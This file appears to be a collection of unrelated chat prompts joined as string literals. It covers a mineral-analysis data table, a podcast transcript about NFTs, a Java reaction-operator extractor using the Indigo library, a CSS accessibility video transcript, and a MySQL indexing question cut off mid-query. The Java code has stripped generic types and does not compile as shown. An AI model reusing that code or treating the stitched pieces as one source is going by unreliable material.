53.894 15.250 0.076 0.143 14.552 0.005 98.924 SP2\\_20\\_m9A\\_p4 \n21 5.591 8.562 0.292 53.042 13.818 0.121 0.158 15.547 0.000 97.131 SP2\\_20\\_m9A\\_p5 \n22 4.919 9.485 0.332 53.710 15.830 0.136 0.240 14.490 0.007 99.149 SP2\\_20\\_m10\\_p6 \n23 4.762 9.572 0.311 54.081 15.562 0.096 0.223 14.139 0.000 98.746 SP2\\_20\\_m11\\_p4 \n24 4.602 9.702 0.251 53.897 15.732 0.127 0.244 14.131 0.005 98.691 SP2\\_20\\_m11\\_p5 \n25 5.443 8.919 0.337 53.876 14.800 0.141 0.216 14.926 0.000 98.658 SP2\\_20\\_m12\\_p3 \n \nMinimum 4.557 7.392 0.183 53.042 12.310 0.071 0.143 13.287 0.000 97.131 \nMaximum 6.703 9.884 0.363 54.142 16.096 0.153 0.256 17.751 0.018 99.224 \nAverage 5.049 9.325 0.306 53.703 15.251 0.123 0.201 14.622 0.004 98.582 \nSigma 0.461 0.549 0.039 0.243 0.881 0.020 0.032 0.959 0.005 0.440 \nNo. of data 25' +'do the same again for the next part of the transription: "Alex: I agree. Like my, the guests before, before he, his name\'s Jeremy he\'s like this amazing photographer. He does portrait photography. And right at the end of the episode, I was like, so what\'s your what\'s what should people look out for? And he\'s like, I\'m dropping a whole series of NFTs. I\'ve never gotten into the space, but that\'s the next big step for me? And it just is like becoming abundantly clear, there\'s something real going on here. I do feel like the accessibility part. like I even think a lot of what you just said. I think a lot of people won\'t know what a lot of, even me, I don\'t even know what a lot of it is. I think like that Twitter thread, you had mentioned that you\'ve been putting together about what you\'ve learned and where to learn things. That\'s for sure a cool place for people to start, but I\'m curious about what are, what do you feel like some misconceptions are that you feel like you had mentioned, like people calling NFTs a Ponzi scheme? What are, some misconceptions around it that you feel like you, you disagree with or you feel like are incorrect that you what are your convictions around it?\n\nJack: Sure. I think one thing is. Did you alone, a ship is not valuable, right? I think this idea of there can\'t be, you can\'t own property that\'s on the internet. And I think that misconception comes from it\'s always been this way or you don\'t actually have a understanding of how the internet currently works because you are contributing to a network that somebody else owns right now. There\'s a really interesting disconnect where you can make it where you can make a violent criticism of something, but you don\'t actually understand that other side of the argument, or you haven\'t thought about how that changes what you\'re saying. So by saying artist shouldn\'t sell their creative work, you actually saying, ah, it should grow the market cap of Twitter and Facebook and sell prints for $7 and 50 cents. Versus have electors invest in their work and build a valuable network. There\'s definitely there\'s definitely a lot of misconceptions around the, like the Ponzi scheme or the like being around collectors in the space.\n\nLike I said, there\'s people that have been invested in Ethereum for an incredibly long time. And this is like a really exciting cultural moment that they view as as significant as the Renaissance period, digital art and ownership of these just incredibly significant cultural objects and people compare that to beanie babies. For example, if there\'s some good. That\'s some good precedence for that. Like a lot of these like collectibles and collections that are just being spun up in 15, I don\'t know, 10 hours or whatever people are doing, hiring someone on Fiverr and dropping the thing. And then just running off, like any market that\'s going to be nonsense. This is just a, their response is just way more crazy because there\'s so much money involved and it\'s moves so fast and it\'s this big liquid network all over the world. but some of the things I think will continue to shock us in just outrageous way. The I don\'t think people really understand the size of you know, if you look at a financial market, like how much volume is being traded on any given financial market on any given day. It\'s hard to even wrap your head around conceptually what\'s going on a million-dollar NFT sale is nothing, right. It\'s just like in the grand scheme of how much money removes around the world on a daily basis, it\'s nothing. And to a middle-class person in any country in the world is it\'s ludicrous. But in terms like if you actually contextualize it around what it is, which is like a global market for this thing with finite supply and 10% of the active participants in that market have a nine figure net worth. It\'s like, okay, it makes total sense. If you zoom out enough, you start to understand why it\'s happening.\n\nAnd then I think, again, people misunderstand or undervalue attention and how attention is like the most powerful. Force in the world. Some of the most value apple is the most valuable private company on the planet. Yes. They make nice phones, but why does everybody want an iPhone? So they have this like little portal that they can stare into every day at what their friends are doing, what their friends think of them. Like they communicate with their colleagues, what all the things you use, an iPhone four, it\'s like the critique, that digital things aren\'t real. It\'s like, okay. So every interaction, every time you touch your iPhone, nothing real is happening. Or you can extrapolate that logic insurance yet that way. And I just don\'t believe that to be true. And that\'s another, great contextual point is Fortnite. the skins that they sell them fortnight, I think that\'s a $2 billion a year marketplace. And Fortnite takes a hundred percent of that. You don\'t own any of those items as a player or Fortnite. You just literally are emptying probably your parents\' credit card in most cases into fortnight LLCs bank account versus, Hey, I was here on this day and I got this I got this digital asset and now I can trade that. I don\'t know if you\'ve ever played Rune Scape, but a lot of these people that are like massively into these Ethereum in particular and all of these like market protocols, they played games like it\'s like magic internet money is not a it\'s not an exaggeration because a lot of people would just learn coordination and like place value on items along like 10 years ago. And these like transactions that happening digitally. And you could make the argument like, yeah, that\'s in game currency. But again, going back to the start of the conversation, it\'s like, we\'re almost playing like a remote job or remote work is a video game. Totally. And for people that ever reached a certain point in the Maslow\'s hierarchy, I\'m not saying that you need to have your bases covered, right. Your food or shallow your air, your, and then for people that aren\'t worried about any of those things, is there any surprise that they\'re like messing about buying pictures of monkeys off each other on the internet buying round? Surprise me. and that\'s like I said, I think we\'re just at the beginning of it and crazy stuff, but there are people that are way more articulate than I am at describing this stuff. I think I can I can gather that information and I actually had this idea this morning. I might set up another, like a. Yeah, make it free or donation-based so someone can maintain it, but set up just a little course that goes through some of these principles and get some resources for people to follow. The thought leaders are actually building in this space. \n\nAlex: Cool. One thing that I, like to think about, and you could tell me this might be totally off and it might be like not completely aligned with what, like NFTs and web three is all about one example.\n\nI think of a lot when I talk to people about this or when I\'ve heard skepticism, is that the first thing that comes to my mind are domain names. Like I own alexsugg.com. No one else owns that. and that\'s like digital real estate that actually really counts. Like I remember when they made the the extension app. I just went in...I went into hover and I bought Harry Potter app, Nike app. And I bought like all these things. And of course I got flagged and I wasn\'t allowed to do it. But, in my mind, it\'s like, there\'s this level of digital ownership. That\'s really valuable, even in a domain name. And that\'s been going on for decades where people are buying and selling domains across to each other. And it\'s like letters on a screen like that. Like it\'s not quote-unquote real at all. This is all just a big story we\'re telling ourselves.\n\nAnd that\'s a huge part about like real money too. Like I think especially over the last year and a half, like I do feel like at the end of the day, the crypto world NFT worlds is just, it\'s a, narrative. That\'s a response to another narrative that people think a hundred percent. It\'s just all about I think it becomes very complicated-sounding because it is technically more complicated than what we\'re used to. But I think at the end of the day, it just comes down to are we telling a newer, better story of this digital currency online versus what has been in the past?\n\nJack: Yeah, I think that\'s a great, I think that\'s a great perspective, especially like the domain thing for digital ownership and the complexity of the money story. Also [buying] in a traditional sense is incredibly complicated. Just nobody has a clue how it works. And if you start to, I think what crypto does is you start to ask questions about why you need hard cap money, what do you mean? And then you start to you really start to get into the world of, oh, okay. Somebody came up with this, everything is a human invention. Like nothing is absolute.\n\nAnd then guess the crypto argument and especially the case of Bitcoin, it\'s like, you know, pick it out absolute money, and this is what we believe is gonna eventually, Trump, every other form of money. And I have no prediction or opinion there, but, I do think all of these technologies and all of these stories just lead people to basically finding out that things don\'t have as rigorous of a yeah. You, especially when you\'re like an entrepreneur you\'re operating your own business, or you break out of this world where you just certain things you accept and you don\'t dig into deeper because it\'s just, I have no reason to, right. You have no reason to like, get any more intimate with the details or in my case, I\'m talking about that. and then when you do, it\'s like a rabbit hole, it\'s just a complete rabbit hole and you realize, okay. And the emperor has got no clothes in a lot of cases. So we\'re just gonna, See what happens by getting... just follow the stuff that interests you. And it\'s just...honestly getting crazy out there. Then there\'s a video of David Bowie ever seen the David Bowie\'s prediction of well, the internet did. Yeah. It was crazy. Yeah. Yeah. And I think he\'s he\'s spot on. He\'s like you haven\'t even began to, you have not even began to understand the implications of the internet. And I think these are like, the cracks are starting to show where it\'s like the things that everybody accepted as like absolute truths are now like, oh no, there\'s a dude. I invented new money, but like rice guy in San Francisco wow, right. Like 10 years ago you would say that\'s impossible. And 10 years from now, we\'ll look back at this and be like, we were just talking nonsense. We didn\'t know what the whole... \n\nAlex: Right, for sure. For sure. No, that\'s cool, that\'s cool.\n\nI\'m curious, maybe just to wrap up, I think that\'s talking about web three and NFTs. I think there\'s a lot there. And I will link in the show notes for everyone listening to Jack\'s Twitter thread about what you\'ve been learning and resources and stuff. And I think if you made a course of some sort, that\'d be really cool too. I think maybe to wrap up I\'m kind of picturing somebody listening who maybe hasn\'t, maybe they haven\'t started yet on this creative idea that they\'re, wanting to pursue what maybe as to wrap up, if you were sitting with this person and they said, what do you think my first step should be towards starting, creating things online for the internet? What would you, say to them? \n\nJack: I think my, one of the things that I\'ve seen work is basically iterate in service of finding a format that you can really own. The visualizer, I think is one example of that. Another example I loved that was maybe a year ago, someone was doing interviews with people on Twitter, just in DMS.\n\nAlex: I saw that too. That was cool. \n\nJack: It was cool. Right? Yeah. And that was one of the examples I actually, was referencing when I said, why didn\'t you carry that on or turn it into a low media brand or something? I thought it was bad-ass Stuart SIM. I think the guy\'s name is who did that.\n\nAlex: I thought that was such a cool, get it back up. What two or three messages back and forth. That was like a three-minute interview with these awesome creators just through DM. Really cool. I like that. \n\nJack: Yeah. Yeah. So I think if content specifically as your interest, then the format piece is, really a powerful thing to iterate on think about how you can add creative constraints to the format and then yeah. You\'re basically putting your perspective into through that filter every time, which I think is a, just a powerful way to get constrained enough to go might be like a five minute podcast, or for me it was whiteboard drawings on YouTube. It\'s I want to do five minutes or less. I really want to get critical mass of content on YouTube. Like I don\'t produce a ton of stuff there anymore, but I was like, I got the channel. I\'m not just gonna leave it empty. I go to WeWork for a day. I just recorded 20 videos, five minutes each. Right. and just sprint into those little into those little like sequences of projects that are have some kind of creative constraint. And then the other piece, I think go back to the part of the conversation we had, where the feedback you get from. People who just happened to be connected with, based on where you\'re born or where you work or wherever else, stick it out through that because it\'s it\'s kind of a journey to discover people that see the world the same way you do. And producing content is almost always like a by-product of consuming other people\'s ideas. So even just acknowledging them in the process is going to build your network, has all of these platforms they fit together that way and you can acknowledge people without there\'s a subtle way to do it. There\'s the right way to do it. But I think that is also, an underrated tool that had a big impact on, getting visualized value side is just saying, huge admirer of this person\'s ideas. I spent a bunch of time. Adding context to this and, hopefully they like it or they\'re interested in it and if not, oh, well, but that I think is whether it\'s the web three idea we talked about or permissionless publishing, yeah there\'s just start, putting stuff out, getting feedback and it right from that."' +'public String run(IndigoObject mappedRxn, boolean stereo, boolean hydrogenated, boolean complete, int rotype) {\n IndigoObject mrxn = mappedRxn.clone();\n\n if (verbose) {\n saveRxnImg(mrxn, "IndigoROExtractor-clone.svg");\n }\n\n //If stereo is true, then the stereochemistry will be stripped from the molecule\n if (stereo) {\n for (IndigoObject mol : mrxn.iterateMolecules()) {\n mol.clearStereocenters();\n }\n }\n \n if (verbose) {\n saveRxnImg(mrxn, "IndigoROExtractor-postStereo.svg");\n }\n\n //Index out all the atoms and molecules\n IndigoObject[] molObjects = new IndigoObject[mrxn.countMolecules()];\n IndigoObject[][] atomObjects = new IndigoObject[mrxn.countMolecules()][];\n for (int m = 0; m < mrxn.countMolecules(); m++) {\n IndigoObject mol = mrxn.getMolecule(m);\n molObjects[m] = mol;\n atomObjects[m] = new IndigoObject[mol.countAtoms()];\n for (int a = 0; a < mol.countAtoms(); a++) {\n IndigoObject atom = mol.getAtom(a);\n atomObjects[m][a] = atom;\n }\n }\n\n //Index out all the bonds\n IndigoObject[][] bondObjects = new IndigoObject[mrxn.countMolecules()][];\n for (int m = 0; m < mrxn.countMolecules(); m++) {\n IndigoObject mol = mrxn.getMolecule(m);\n bondObjects[m] = new IndigoObject[mol.countBonds()];\n for (int b = 0; b < mol.countBonds(); b++) {\n IndigoObject bond = mol.getBond(b);\n bondObjects[m][b] = bond;\n }\n }\n\n //Create arrays to hold the atom reaction centers\n Set> centerAtoms = new HashSet<>();\n Set> centerBonds = new HashSet<>();\n\n //Create arrays to hold the atom indices to be retained\n Set> keepAtoms = new HashSet<>();\n Set> keepBonds = new HashSet<>();\n\n //Identify any exchangeable hydrogens\n Set unmappers = new HashSet<>();\n for (IndigoObject mol : mrxn.iterateMolecules()) {\n for (int a = 0; a < mol.countAtoms(); a++) {\n IndigoObject atom = mol.getAtom(a);\n\n //Only deal with hydrogens\n if (atom.atomicNumber() != 85) {\n continue;\n }\n\n //Gather the hydrogens next to heteroatoms\n for (IndigoObject nei : atom.iterateNeighbors()) {\n IndigoObject bond = nei.bond();\n IndigoObject neiAtom = atomObjects[mol.index()][nei.index()];\n int atno = neiAtom.atomicNumber();\n if (atno == 7 || atno == 8 || atno == 16) {\n unmappers.add(mrxn.atomMappingNumber(atom));\n }\n }\n }\n }\n\n //Unmap the exchangeable Hydrogens\n for (IndigoObject mol : mrxn.iterateMolecules()) {\n for (int a = 0; a < mol.countAtoms(); a++) {\n IndigoObject atom = mol.getAtom(a);\n if (unmappers.contains(mrxn.atomMappingNumber(atom))) {\n mrxn.setAtomMappingNumber(atom, 0);\n }\n }\n }\n\n if (verbose) {\n saveRxnImg(mrxn, "IndigoROExtractor-postExchangeH.svg");\n }\n\n if (verbose) {\n System.out.println("\\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\nAll Bonds\\n\\t\\t\\tFrom:\\t\\t\\tTo:");\n System.out.println("m\\tb\\tcode\\tindex\\tatno\\t\\tindex\\tatno");\n }\n\n //Iterate through the bonds to identify rxn centers\n for (int m = 0; m < bondObjects.length; m++) {\n for (int b = 0; b < bondObjects[m].length; b++) {\n IndigoObject bond = bondObjects[m][b];\n\n //Get the enum that describes the mapping of each reaction center\n int code = mrxn.reactingCenter(bond);\n\n if (verbose) {\n System.out.print(m + "\\t" + b + "\\t" + code + "\\t");\n System.out.print(bond.source().index() + "\\t" + bond.source().atomicNumber());\n System.out.print("\\t\\t");\n System.out.println(bond.destination().index() + "\\t" + bond.destination().atomicNumber());\n }\n\n if (code == Indigo.RC\\_UNCHANGED) { //Atoms on both sides, no bonds changed\n continue;\n }\n if (code == Indigo.RC\\_CENTER) { //Not sure what that means, but isn\'t encountered much if ever\n continue;\n }\n\n IndigoObject atomOne = bond.source();\n IndigoObject atomTwo = bond.destination();\n\n if (complete) {\n //With the complete option, all changed atoms get included\n keepBonds.add(new Pair(m, b));\n keepAtoms.add(new Pair(m, atomOne.index()));\n keepAtoms.add(new Pair(m, atomTwo.index()));\n centerAtoms.add(new Pair(m, atomOne.index()));\n centerAtoms.add(new Pair(m, atomTwo.index()));\n centerBonds.add(new Pair(m, b));\n } else {\n //Matched scenario, only include the atoms and bonds that are not atommap == 0\n boolean onekeep = false;\n boolean twokeep = false;\n if (mrxn.atomMappingNumber(atomOne) != 0) {\n keepAtoms.add(new Pair(m, atomOne.index()));\n centerAtoms.add(new Pair(m, atomOne.index()));\n onekeep = true;\n }\n if (mrxn.atomMappingNumber(atomTwo) != 0) {\n keepAtoms.add(new Pair(m, atomTwo.index()));\n centerAtoms.add(new Pair(m, atomTwo.index()));\n twokeep = true;\n }\n if (onekeep && twokeep) {\n keepBonds.add(new Pair(m, bond.index()));\n centerBonds.add(new Pair(m, b));\n }\n }\n }\n }\n\n if (verbose) {\n /\\*\\*\n \\* m is the molecule, substrate = 0, product = 1 a is the atom index\n \\* within that molecule atno is the atomic number (85 is At, C=6,\n \\* O=8) atmap is the assigned atom mapping number\n \\*/\n System.out.println("\\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\nKeep Atoms after collecting reaction centers");\n System.out.println("m\\ta\\tatno\\tatmap");\n\n for (Pair apair : keepAtoms) {\n IndigoObject atom = atomObjects[apair.getKey()][apair.getValue()];\n System.out.println(apair.getKey() + "\\t" + apair.getValue() + "\\t" + atom.atomicNumber() + "\\t" + mrxn.atomMappingNumber(atom));\n }\n }\n\n if (rotype == ELECTRONIC) {\n //For each reaction center Atom, add the sigma-attached bonds and atoms\n for (Pair index : centerAtoms) {\n IndigoObject croAtom = atomObjects[index.getKey()][index.getValue()];\n for (IndigoObject nei : croAtom.iterateNeighbors()) {\n IndigoObject bond = nei.bond();\n keepBonds.add(new Pair(index.getKey(), bond.index()));\n keepAtoms.add(new Pair(index.getKey(), bond.source().index()));\n keepAtoms.add(new Pair(index.getKey(), bond.destination().index()));\n }\n }\n\n //For each keepAtom, add anything in conjugation\n Set> workList = new HashSet<>();\n workList.addAll(keepAtoms);\n\n for (IndigoObject mol : mrxn.iterateMolecules()) {\n for (int a = 0; a < mol.countAtoms(); a++) {\n IndigoObject atom = mol.getAtom(a);\n if (!keepAtoms.contains(new Pair(mol.index(), a))) {\n continue;\n }\n IndigoObject keeper = mol.getAtom(a);\n if (isSP3(keeper)) {\n continue;\n }\n keepBonds.addAll(addConjugated(mol, keeper, keepAtoms));\n }\n }\n }\n\n if (verbose) {\n System.out.println("\\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\nAfter Electronic block");\n System.out.println("m\\ta\\tatno\\tatmap");\n\n for (Pair apair : keepAtoms) {\n IndigoObject atom = atomObjects[apair.getKey()][apair.getValue()];\n System.out.println(apair.getKey() + "\\t" + apair.getValue() + "\\t" + atom.atomicNumber() + "\\t" + mrxn.atomMappingNumber(atom));\n }\n }\n\n if (hydrogenated) {\n //Remove certain hydrogens that are mapped\n Set> keepcopy = new HashSet<>(keepAtoms);\n for (Pair keeper : keepcopy) {\n int m = keeper.getKey();\n int a = keeper.getValue();\n IndigoObject atom = atomObjects[m][a];\n\n //Only deal with hydrogens\n int atno = atom.atomicNumber();\n if (atno != 85) {\n continue;\n }\n\n //Exclude unmapped\n int atmap = mrxn.atomMappingNumber(atom);\n if (atmap == 0) {\n continue;\n }\n\n //Exclude reactive center hydrogens\n if (centerAtoms.contains(new Pair(m, a))) {\n continue;\n }\n\n keepAtoms.remove(keeper);\n for (IndigoObject nei : atom.iterateNeighbors()) {\n IndigoObject bond = nei.bond();\n keepBonds.remove(new Pair(m, bond.index()));\n }\n }\n }\n\n if (verbose) {\n System.out.println("\\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\nAfter Hydrogenize block");\n System.out.println("m\\ta\\tatno\\tatmap");\n\n for (Pair apair : keepAtoms) {\n IndigoObject atom = atomObjects[apair.getKey()][apair.getValue()];\n System.out.println(apair.getKey() + "\\t" + apair.getValue() + "\\t" + atom.atomicNumber() + "\\t" + mrxn.atomMappingNumber(atom));\n }\n }\n\n //Gather up bonds that should be tossed\n Set tossBonds = new HashSet<>();\n for (int m = 0; m < mrxn.countMolecules(); m++) {\n IndigoObject mol = mrxn.getMolecule(m);\n for (int b = 0; b < mol.countBonds(); b++) {\n IndigoObject bond = bondObjects[m][b];\n tossBonds.add(bond);\n }\n }\n for (Pair indices : keepBonds) {\n IndigoObject keepbond = bondObjects[indices.getKey()][indices.getValue()];\n tossBonds.remove(keepbond);\n }\n\n //Gather up atoms that should be tossed\n Set tossAtoms = new HashSet<>();\n for (int m = 0; m < mrxn.countMolecules(); m++) {\n IndigoObject mol = mrxn.getMolecule(m);\n for (int a = 0; a < mol.countAtoms(); a++) {\n IndigoObject atom = atomObjects[m][a];\n tossAtoms.add(atom);\n }\n }\n for (Pair indices : keepAtoms) {\n IndigoObject keepatom = atomObjects[indices.getKey()][indices.getValue()];\n tossAtoms.remove(keepatom);\n }\n\n //Convert Astatines back to Hydrogens\n for (IndigoObject mol : mrxn.iterateMolecules()) {\n for (int i = 0; i < mol.countAtoms(); i++) {\n IndigoObject atom = mol.getAtom(i);\n if (atom.atomicNumber() == 85) {\n atom.resetAtom("H");\n }\n }\n }\n\n //Remove the tossed bonds\n for (IndigoObject bond : tossBonds) {\n bond.remove();\n }\n\n //Remove the tossed atoms\n for (IndigoObject atom : tossAtoms) {\n atom.remove();\n }\n \n if(verbose) {\n saveRxnImg(mrxn, "IndigoROExtractor\\_postToss.svg");\n }\n\n /\\*\\*\n \\* If an RO is of the valence type, up to here it has behaved as core.\n \\* None of the electronic block would be called. It could still be\n \\* matched or complete, and it could be hydrogenized or not.\n \\*\n \\* Regardless, the VALENCE RO is obtained by eliminating the identity of\n \\* all the atoms. Here that is done by converting to a \\*.\n \\*/\n if (rotype == VALENCE) {\n for (IndigoObject mol : mrxn.iterateMolecules()) {\n for (IndigoObject atom : mol.iterateAtoms()) {\n atom.resetAtom("\\*");\n }\n }\n }\n\n //Remove the extra stuff at the end of the smirks and return\n String smirks = mrxn.smiles();\n smirks = smirks.split("\\\\|")[0];\n return smirks.trim();\n }' +"how many words are in this audio transcript:\n\n[0:00] we talk a lot about semantic HTML but[0:03] what about semantic CSS they're coming[0:05] up with good class names in CSS is[0:07] always a bit of a struggle it's maybe[0:09] one of the more infuriating things which[0:11] is why we have so many different naming[0:12] conventions and different approaches to[0:14] authoring CSS especially when it comes[0:16] to organization and dealing with[0:18] selectors so we can attempt to give[0:20] things meaning with names but of course[0:22] the class name doesn't have any real[0:24] meaning it's easy to get them wrong and[0:26] well of course things like this would[0:28] work just as well if you were to take[0:29] inspiration from my son and use a class[0:31] like big butt[0:37] wait no no[0:49] that's probably not the best idea in the[0:51] world and people might be a little bit[0:53] confused if they're working on that code[0:54] base and come along the your big butt[0:56] class there but of course if that class[0:58] was in your HTML that selector would[1:00] work perfectly fine but if somebody were[1:02] to randomly come across it they'd really[1:04] have no idea what you were actually[1:05] wanting to do with it and that's very[1:08] different from what we have with HTML[1:10] where we have things like our nav our[1:12] header or footer or aside we have[1:13] figures we have all sorts of things that[1:16] have actual meaning to them and even[1:18] sometimes getting those right or using[1:19] them in the right way can has a little[1:21] bit of wiggle room but for the most part[1:23] it really makes our lives a lot easier[1:25] now the semantics of those elements help[1:27] convey actual meaning to the browser and[1:29] assistive Technologies as well but it[1:31] also makes it easy for developers to be[1:33] a bit more consistent and know how[1:35] things are being used so with all of[1:36] that how can we take that idea of[1:38] semantics from HTML and use them in CSS[1:41] without having to go down the route of[1:43] only selecting things like our nav or[1:45] header or footer with element selectors[1:47] so to figure that out we're going to[1:48] jump into this example that I have up[1:50] right now and this was heavily inspired[1:52] by an article that Ben Myers recently[1:54] put out so I will be linking to that in[1:55] the description I'd strongly recommend[1:57] giving it a read and I'll also have some[1:59] other good links down in the description[2:01] related to this topic that helped me put[2:03] this video together so the idea here is[2:06] this is quite a common thing that you[2:08] might see we have a current page like[2:10] this one so we have you know a regular[2:12] navigation set up with our semantic HTML[2:14] but then we have this current page here[2:16] and then of course it highlights the[2:18] page we're on so we just you know when[2:20] you go through all your different pages[2:21] you know if I'm on my about page I'm[2:23] just moving that down to there then I'm[2:24] moving that down to there and maybe[2:26] you're using some sort of dynamic system[2:28] to be able to do this with however[2:29] you're authoring you know depends on[2:31] your Tech stack and all of that but[2:32] we're highlighting the current page and[2:34] if we come back to the Styles here I've[2:36] just done this where I'm my nav link[2:38] that has a current page I've given it a[2:40] background color we're not doing[2:41] anything fancy here there's other ways[2:43] of doing this but a nice simple setup we[2:45] have a hover color for the regular one[2:47] and then we have this one one that has[2:49] the darker color and I've boosted[2:50] specificity on it to make sure that it's[2:52] working so if I hover on top of that one[2:54] we don't get the color changing nothing[2:56] too fancy but the one problem here is if[2:58] we come back to here we we've used our[3:00] nav here we've used a list here we're[3:01] using semantic elements but we're not[3:04] actually using anything semantic to link[3:06] into we're not we're not giving any[3:08] extra context to what the current page[3:10] is even though there is a way to do that[3:12] and the way to do that is an area[3:14] current equals page and by doing that[3:18] we're helping assistive Technologies get[3:20] the same hint that this is doing[3:22] visually on the page right here so right[3:25] away that's a good start but now I'm I[3:28] have this here and then I have the[3:30] current page here and that means if I go[3:33] and that you know I want to do my about[3:34] page now well that means I need to move[3:36] this thing here over down to here and[3:39] then I also need to remove this from[3:41] that link here and I do move that down[3:43] to the link here and there's a lot that[3:45] could potentially go wrong in having to[3:48] you know it's extra maintenance for[3:50] nothing it's kind of annoying on that[3:51] front and this is just some random class[3:54] that I've assigned to here this could[3:56] have been big butt like we mentioned[3:57] before and I could have it do the exact[3:59] same thing whereas this actually carries[4:01] meaning to it so if this actually[4:04] carries meaning to it and this is[4:05] actually saying this is the current page[4:07] that we're on right now well I could[4:09] hook into that with CSS so instead of[4:12] doing nav link current page like this I[4:14] could take this let's turn this into an[4:16] attribute selector by putting some[4:17] square brackets around it let's delete[4:19] what's in there and put in my area[4:21] current is equal to page[4:25] and hit save on that and now you can see[4:28] that it's still working and if we come[4:29] back to here and we delete this current[4:31] page from here and hit save[4:34] everything is still working perfectly[4:35] fine and what we've done here is[4:37] actually create a semantic CSS selector[4:39] we're using the semantics that we had in[4:41] our HTML without you know you could[4:43] select a nav a UL things like that but[4:45] we're linking into another level of[4:47] semantics and we're bringing that in[4:49] here to help style our page and that[4:52] means that things have to be done[4:53] properly from accessibility standpoint[4:55] to be able to style things so we're sort[4:57] of enforcing accessibility by doing this[5:00] as well because now if I go to my about[5:01] page it's broken because my about page[5:04] had it the old way[5:06] and I did this the old-fashioned way[5:08] with just some regular old C HTML on[5:11] every page so of course then this would[5:13] have to be removed and we do an area[5:15] current is equal to page right here and[5:18] now that's fixed and we have this[5:20] working across our pages and to be able[5:22] to do something like this requires[5:24] literally the exact same amount of work[5:27] as it would have required before the[5:29] only difference is it's a few extra[5:30] characters but the advantage is we're[5:32] bringing in[5:33] the accessibility component of it here[5:36] and we're just hooking into that with[5:38] our style sheet and how we're doing our[5:40] CSS right here to look at more examples[5:42] of types of things you can do with this[5:44] one I've looked at many times before is[5:46] using things like area expanded on[5:48] buttons for styling things like a[5:50] navigation whether it's opened or closed[5:52] so if we take a look at this when you're[5:55] doing it I have my button that's right[5:58] here we have an area expanded a false on[6:00] there and when it opens that gets[6:02] switched over to true so the JavaScript[6:04] is switching that back and forth between[6:06] the two of them but that means I can[6:08] hook in and I can style things from the[6:10] menu being open and what the menu looks[6:12] like to how my button is created and[6:15] everything using those selectors right[6:17] there another example could be down here[6:20] if you have a tabs system like this[6:22] where we can switch between different[6:24] tabs I could have everything controlled[6:27] through my area roles here that I'm[6:29] using for my tab list and things like[6:31] this that we should be setting up if[6:33] we're doing things this way so my tab[6:35] list is being set up through the role[6:37] I'm not coming up with a class and[6:38] having the role on there each tab is[6:41] being styled through that my tab panel[6:43] area selected is all coming together[6:46] here so when it's selected I'm changing[6:48] the style of it as I'm coming through on[6:50] those and if you're new to things like[6:52] this and you're not sure about them[6:53] anytime you're looking something up it's[6:55] very easy to do a nice quick search for[6:57] example let's say you need to make us an[6:59] on off switch for something you can just[7:01] do one for a11y switch and you can see I[7:04] was looking that up recently which is[7:06] why it's top of mind and you'll see lots[7:08] of different things that come up on it[7:09] and you can do some further reading on[7:11] it where a lot of the time they give you[7:13] code examples of what things are going[7:15] to look like including things like roles[7:18] that you might need to include so we[7:19] have the role of switch that are coming[7:21] on a few of these you'll see there's no[7:23] area anything but we do have the role of[7:24] switch there's other things that do come[7:26] up with these types of elements when[7:28] we're trying to make interactive[7:29] elements as accessible as possible and[7:31] that helps us hook into those with our[7:33] CSS and it helps us make our CSS[7:36] semantic as well and often the general[7:38] rule of area is don't use area if you[7:40] don't have to so just using your nav[7:42] your head or your footer things like[7:43] that are the right thing to do but as[7:45] soon as you are getting into more[7:46] complex things there are usually things[7:49] that you need to take into account and[7:51] it is really advantageous because it[7:53] makes it a lot easier to hook into[7:54] because an area selected true is nice[7:57] and you know you're not stuck thinking[7:59] do I need a tab tab opened or something[8:02] or is it opened or do I give this active[8:05] like what name do I give it you don't[8:06] have the whole worrying about how you[8:08] name things goes out the window it's[8:10] already handled for us we're good to go[8:11] and if you enjoyed this video and it[8:13] gave you a few thoughts I'd really[8:15] recommend checking out the articles that[8:16] you can see in the description that go[8:18] into a lot more detail and on a few of[8:20] the different patterns that you're[8:21] seeing here and if you're looking for[8:22] more video content I have looked at[8:24] another excessive ability issue that is[8:26] I see coming up all the time which is[8:28] the misuse of heading levels in putting[8:30] together websites and apps so if you're[8:32] curious about that that video is right[8:34] here for your viewing pleasure and with[8:35] that I would really like to thank my[8:37] enablers of awesome Jen Johnny Michael[8:39] Patrick Simon and Tim as well as all my[8:41] other patrons for their monthly support[8:42] and of course until next time don't[8:44] forget to make your corn on the internet[8:45] just a little bit more awesome" +'analyze the following mysql query and provide instructions on which table and column indexes need to be created\n\nselect count(1) as cnt from ( SELECT DISTINCT `campaign`.`id`, `campaign`.`adhocsegid`, `campaign`.`camp\\_name` as `name`, `campaign`.`splitid`, `campaign`.`embargo` as `publish\\_time`, `campaign`.`modified` as `updated\\_date`, `campaign`.`old\\_flag`, case when ((cesm.splitid is null and campaign.status =\'sent\') or (cesm.splitid is not null and cesm.status = \'sent\')) then \'sent\' when ((cesm.splitid is null and campaign.status = \'submitted\') or (cesm.splitid is not null and cesm.status = \'submitted\')) then \'scheduled\' when ((cesm.splitid is null and campaign.status = \'inprocess\') or (cesm.splitid is not null and cesm.status = \'inprocess\')) then \'running\' when ((cesm.splitid is null and campaign.status = \'0\') or (cesm.splitid is not null and cesm.status = \'0\')) then \'draft\' when (cesm.splitid is not null) then cesm.status else campaign.status end as status, \'email\' as channel\\_name, \'\' as schedule\\_tz, case when campaign.dynamic\\_content = 1 then \'dynamic\' when cesm.split\\_type = \'s\' then \'split\' when cesm.split\\_type = \'a\' or (campaign.splitid > 0 and cesm.splitid is null) then \'split\\_ab\' when campaign.msgtype = 1 then \'birthday\' when campaign.msgtype = 2 then \'followup\' when campaign.msgtype = 7 then \'slice\' when campaign.msgtype = 11 then \'sto\' when campaign.msgtype = 20 then \'amp\' else \'regular\' end as campaign\\_type, `campaign`.`fromfield` as `from\\_email`, `campaign`.`subject`, `campaign`.`entered` as `created\\_at`, `campaign`.`modified` as `modified\\_at`, `campaign`.`sent` as `sent\\_date`, `mcd`.`activity\\_id`, `mcd`.`revenue\\_param`, `campaign`.`processed`, campaign.msgtype AS message\\_type, campaign.size, cesm.winnerid, cesm.split\\_type, NULL AS ostype, NULL AS content, NULL AS advanced\\_options, NULL AS siteid FROM `phplist\\_message` `campaign` LEFT JOIN `message\\_conversion\\_definition` `mcd` ON `campaign`.`id` = `mcd`.`msgid` and `mcd`.`mediumid`=1 LEFT 